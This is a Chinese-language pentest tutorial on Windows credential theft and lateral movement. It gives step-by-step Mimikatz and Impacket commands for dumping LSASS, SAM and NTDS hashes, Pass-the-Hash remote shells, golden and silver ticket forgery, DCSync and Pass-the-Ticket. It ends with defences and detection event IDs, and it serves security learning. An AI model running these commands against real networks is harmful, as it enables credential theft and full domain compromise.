网络安全Kali学习系列 · 第52篇

凭证窃取与横向移动

LSASS 提密 · Pass-the-Hash · 黄金票据 · 白银票据
📋 本篇导读
  • Windows 凭证存储机制与 LSASS 进程
  • Mimikatz 提密实操(明文/哈希/Kerberos票据)
  • Pass-the-Hash (PtH) 横向移动
  • 黄金票据与白银票据攻击
  • DCSync 攻击与防御措施

一、Windows 凭证存储机制

理解 Windows 如何存储凭证是凭证窃取的基础。Windows 有多种凭证存储方式,每种都有对应的提取和利用方法。

1.1 凭证存储位置

存储位置 凭证类型 提取工具
LSASS 进程内存 NTLM 哈希、Kerberos 票据、明文密码(WDigest) Mimikatz, sekurlsa
SAM 数据库 本地用户 NTLM 哈希 Mimikatz lsadump, pwdump
NTDS.dit 域内所有用户的密码哈希 ntdsutil, secretsdump
LSA Secrets 服务账户密码、IIS 应用池密码 Mimikatz lsadump::secrets
Credential Manager 保存的 Windows 凭证(DPAPI 加密) Mimikatz dpapi
注册表 Vault 凭证、自动登录密码 reg save, Mimikatz

1.2 LSASS 进程详解

LSASS(Local Security Authority Subsystem Service)是 Windows 安全子系统的核心进程,负责认证和安全策略。
lsasrv.dll:LSASS 加载的核心模块,所有凭证数据都在其内存空间中。
凭证缓存:LSASS 缓存当前登录用户的凭证以便 SSO(单点登录),包括:
• Kerberos TGT 和 ST(票据授予/服务票据)
• NTLM 哈希(用于 NT 认证)
• WDigest 明文密码(Win 8/2012 之前默认开启)
• SSP 提供的凭证(如 LiveSSP, TSPKG)

二、Mimikatz 提密实战

Mimikatz 是法国研究员 Gentil Kiwi 开发的 Windows 凭证提取工具,是内网渗透中最核心的工具之一。

2.1 提取 LSASS 凭证

CMD · Mimikatz 基础提密(需要管理员/Debug权限)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
:: 1. 提升权限(获取 Debug 权限)
mimikatz # privilege::debug
:: 2. 提取所有 LSASS 凭证(all in one)
mimikatz # sekurlsa::logonpasswords
:: 3. 仅提取 Kerberos 票据
mimikatz # sekurlsa::tickets
:: 4. 仅提取 NTLM 哈希
mimikatz # sekurlsa::msv
:: 5. 提取 WDigest 明文密码
mimikatz # sekurlsa::wdigest

2.2 提取 SAM 数据库

CMD · Mimikatz 提取本地 SAM 哈希
1
2
3
4
5
6
7
8
9
:: 方式一:Mimikatz 直接读取 SAM
mimikatz # lsadump::sam
:: 方式二:导出注册表后离线提取
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
:: 离线使用 impacket 读取
secretsdump.py -sam sam.hive -system system.hive LOCAL

2.3 Impacket secretsdump 远程提密

Bash · Impacket secretsdump.py
1
2
3
4
5
6
7
8
9
10
11
# 1. 使用普通域用户凭证远程提密(需要本地管理员权限)
secretsdump.py corp.local/admin:'Passw0rd!'@10.0.0.20
# 2. 使用 NTLM 哈希认证(Pass the Hash)
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 corp.local/admin@10.0.0.20
# 3. 导出域内所有用户哈希(需要 DC 权限)
secretsdump.py corp.local/admin:'Passw0rd!' -just-dc -dc-ip 10.0.0.10
# 4. 仅导出 NTLM 哈希
secretsdump.py corp.local/admin:'Passw0rd!' -just-dc-ntlm -dc-ip 10.0.0.10

三、Pass-the-Hash (PtH) 横向移动

Pass-the-Hash 攻击利用 NTLM 认证的设计缺陷:认证过程只需要哈希,不需要明文密码。拿到管理员账户的 NTLM 哈希后,可以直接用它访问域内其他机器。

3.1 NTLM 认证流程与漏洞

Step 1:客户端向服务器发送登录请求
Step 2:服务器返回随机挑战(Challenge)
Step 3:客户端用密码哈希加密挑战,返回给服务器
Step 4:服务器验证响应(对比存储的哈希)
漏洞点:整个认证过程只需要 NTLM 哈希,从未使用明文密码。攻击者拿到哈希即可完成认证。

3.2 PtH 实操

CMD · Mimikatz PtH
1
2
3
4
5
6
7
8
:: 1. 使用 Mimikatz 注入哈希到内存
mimikatz # sekurlsa::pth /user:admin /domain:corp.local
/ntlm:31d6cfe0d16ae931b73c59d7e0c089c0
:: 2. 注入后自动弹出新 CMD(使用注入的凭证)
# 在新 CMD 中可直接访问远程机器
dir \\WEB01\c$
psexec.exe \\WEB01 cmd.exe
Bash · Impacket 工具链 PtH
1
2
3
4
5
6
7
8
9
10
11
# 1. 使用哈希获取远程 Shell(psexec 方式)
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 corp.local/admin@10.0.0.20
# 2. 使用哈希通过 WMI 执行命令
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 corp.local/admin@10.0.0.20
# 3. 使用哈希通过 SMB 执行命令
smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 corp.local/admin@10.0.0.20
# 4. 使用哈希通过 Atexec(计划任务)
atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 corp.local/admin@10.0.0.20 'whoami'

四、黄金票据攻击

黄金票据(Golden Ticket)是内网渗透中最强大的攻击之一:用 krbtgt 账户的哈希伪造任意用户的 TGT,实现全域控制持久化。

4.1 攻击原理

要素 说明
前提 需要获取 krbtgt 账户的 NTLM 哈希(通过 DCSync 或导出 NTDS.dit)
伪造对象 TGT(票据授予票据),用 krbtgt 哈希签名
伪造身份 任意用户,包括不存在的用户(DC 只验证 TGT 签名)
有效期 默认 10 年(可自定义),即使用户改密码也有效
影响范围 整个域(可访问任何服务、任何机器)

4.2 Mimikatz 伪造黄金票据

CMD · Mimikatz Golden Ticket
1
2
3
4
5
6
7
8
9
10
11
12
13
14
:: 1. 获取 krbtgt 哈希(通过 DCSync)
mimikatz # lsadump::dcsync /user:krbtgt
# 记录输出的 SID 和 NTLM 哈希
:: 2. 伪造黄金票据
mimikatz # kerberos::golden /user:Administrator
/domain:corp.local
/sid:S-1-5-21-1234567890-1234567890-1234567890
/krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0
/id:500 /groups:501,512,513,514,515 /ptt
:: 3. 验证票据已注入
mimikatz # kerberos::list
# 现在可以访问域内任何服务
💡 关键参数
/user 可以是任意名字(甚至不存在的用户);/id:500 是 Administrator 的 RID;/ptt 表示直接注入到当前会话。伪造的票据默认有效 10 年。

五、白银票据攻击

白银票据(Silver Ticket)用目标服务账户的哈希伪造 ST(服务票据),不需要经过 KDC。攻击范围限于单个服务,但更隐蔽。

5.1 黄金票据 vs 白银票据

维度 黄金票据 Golden 白银票据 Silver
伪造票据 TGT(票据授予票据) ST(服务票据)
所需哈希 krbtgt 账户哈希 目标服务账户哈希
影响范围 全域(所有服务) 单个服务(如 CIFS/MSSQL/HTTP)
与 KDC 交互 需要(用伪造 TGT 换真实 ST) 不需要(直接伪造 ST)
隐蔽性 中等(有 TGS-REQ 流量) 高(无 KDC 流量)
获取难度 高(需要 DC 权限) 中(需要服务账户哈希)

5.2 Mimikatz 伪造白银票据

CMD · Mimikatz Silver Ticket
1
2
3
4
5
6
7
8
:: 伪造 CIFS 服务票据(访问文件共享)
mimikatz # kerberos::golden /user:Administrator
/domain:corp.local
/sid:S-1-5-21-1234567890-1234567890-1234567890
/target:WEB01.corp.local
/service:cifs
/rc4:31d6cfe0d16ae931b73c59d7e0c089c0 /ptt
# 现在 dir \\WEB01\c$ 即可
常用服务类型与 SPN
1
2
3
4
5
6
# 白银票据可伪造的服务类型:
cifs - 文件共享(SMB,最常用)
mssql - SQL Server
http - Web 服务
ldap - LDAP 目录查询
host - 通用主机服务

六、DCSync 攻击

DCSync 是 Mimikatz 的一项功能,模拟域控制器的复制行为,从 DC 远程获取密码哈希。不需要在 DC 上执行代码,只需要拥有 DCSync 权限的账户。

6.1 DCSync 权限要求

以下权限的持有者可以执行 DCSync(通过 LDAP 复制协议):
• DS-Replication-Get-Changes(复制更改)
• DS-Replication-Get-Changes-All(复制所有更改)
• DS-Replication-Get-Changes-In-Filtered-Set(过滤集复制)
默认情况下,Domain Admins 和 DC 本地账户拥有这些权限。但攻击者可能通过 ACL 滥用获取权限。

6.2 DCSync 实操

CMD · Mimikatz DCSync
1
2
3
4
5
6
7
8
9
10
11
:: 1. 提取 krbtgt 哈希(用于黄金票据)
mimikatz # lsadump::dcsync /user:krbtgt
:: 2. 提取域管理员哈希
mimikatz # lsadump::dcsync /user:Administrator
:: 3. 提取所有域用户哈希
mimikatz # lsadump::dcsync /all
:: Linux 端使用 Impacket
secretsdump.py corp.local/admin:'Passw0rd!' -just-dc -dc-ip 10.0.0.10

七、其他横向移动技术

7.1 Pass-the-Ticket (PtT)

CMD · Mimikatz Pass-the-Ticket
1
2
3
4
5
6
7
8
:: 导出当前票据
mimikatz # kerberos::list /export
:: 注入从其他机器获取的票据
mimikatz # kerberos::ptt ticket.kirbi
:: Rubeus 版本
Rubeus.exe ptT /ticket:ticket.kirbi

7.2 Overpass-the-Hash (OPtH)

用 NTLM 哈希换取 Kerberos TGT,再使用 TGT 进行后续操作。解决了 PtH 在 Kerberos 环境中受限的问题。

CMD · Mimikatz Overpass-the-Hash
1
2
3
4
5
6
:: 用 NTLM 哈希换取 TGT
mimikatz # sekurlsa::pth /user:admin /domain:corp.local
/ntlm:31d6cfe0d16ae931b73c59d7e0c089c0
:: 在新 CMD 中执行 kinit 获取 TGT
klist # 查看获取的 TGT

7.3 横向移动工具对比

工具 协议 特点
psexec.py SMB + DCERPC 创建临时服务执行,留日志
wmiexec.py WMI 半交互式 Shell,较隐蔽
smbexec.py SMB 通过 SMB 管道执行命令
atexec.py SMB + Task Scheduler 通过计划任务执行单条命令
dcomexec.py DCOM 通过 DCOM 横向移动,较新
evil-winrm WinRM PowerShell 远程会话,功能强

八、防御与检测

8.1 防御措施

措施 针对攻击 说明
Credential Guard LSASS 提密 虚拟化隔离 LSASS,Mimikatz 无法读取
禁用 WDigest 明文密码提取 Win 10+ 默认禁用,确认注册表设置
定期重置 krbtgt 黄金票据 使旧票据失效(重置两次)
受限 admin 模式 PtH 远程登录 RDP 不发送凭证到目标
EPA(认证扩展保护) 白银票据 强制服务向 KDC 验证票据
LAPS 管理员密码 本地管理员复用 每台机器本地密码不同

8.2 检测告警

检测点 事件 ID 说明
Mimikatz 检测 4656, 4663 LSASS 进程访问异常
DCSync 检测 4662 非 DC 账户的目录复制请求
PtH 检测 4624 (Type 3) 大量网络登录(NTLM)
黄金票据检测 4769 票据加密类型不匹配
服务创建 7045 psexec 创建临时服务

九、小结

🔑 本篇要点
  • LSASS 是凭证存储核心,Mimikatz sekurlsa 是提密主力模块
  • Pass-the-Hash 利用 NTLM 认证只需哈希的缺陷,实现无密码横向移动
  • 黄金票据用 krbtgt 哈希伪造 TGT,全域持久化;需定期重置 krbtgt 两次防御
  • 白银票据用服务账户哈希伪造 ST,范围有限但更隐蔽(不经过 KDC)
  • DCSync 模拟 DC 复制协议远程获取哈希,需要 DS-Replication 权限
  • 横向移动工具链:psexec/wmiexec/smbexec/atexec/dcomexec/evil-winrm
  • 防御核心:Credential Guard + 禁用 WDigest + LAPS + 定期重置 krbtgt
下一篇预告
第 53 篇:内网代理与 C2 框架基础
代理链、隧道技术与 Cobalt Strike 入门
网络安全Kali学习系列 · 第52篇 · 凭证窃取与横向移动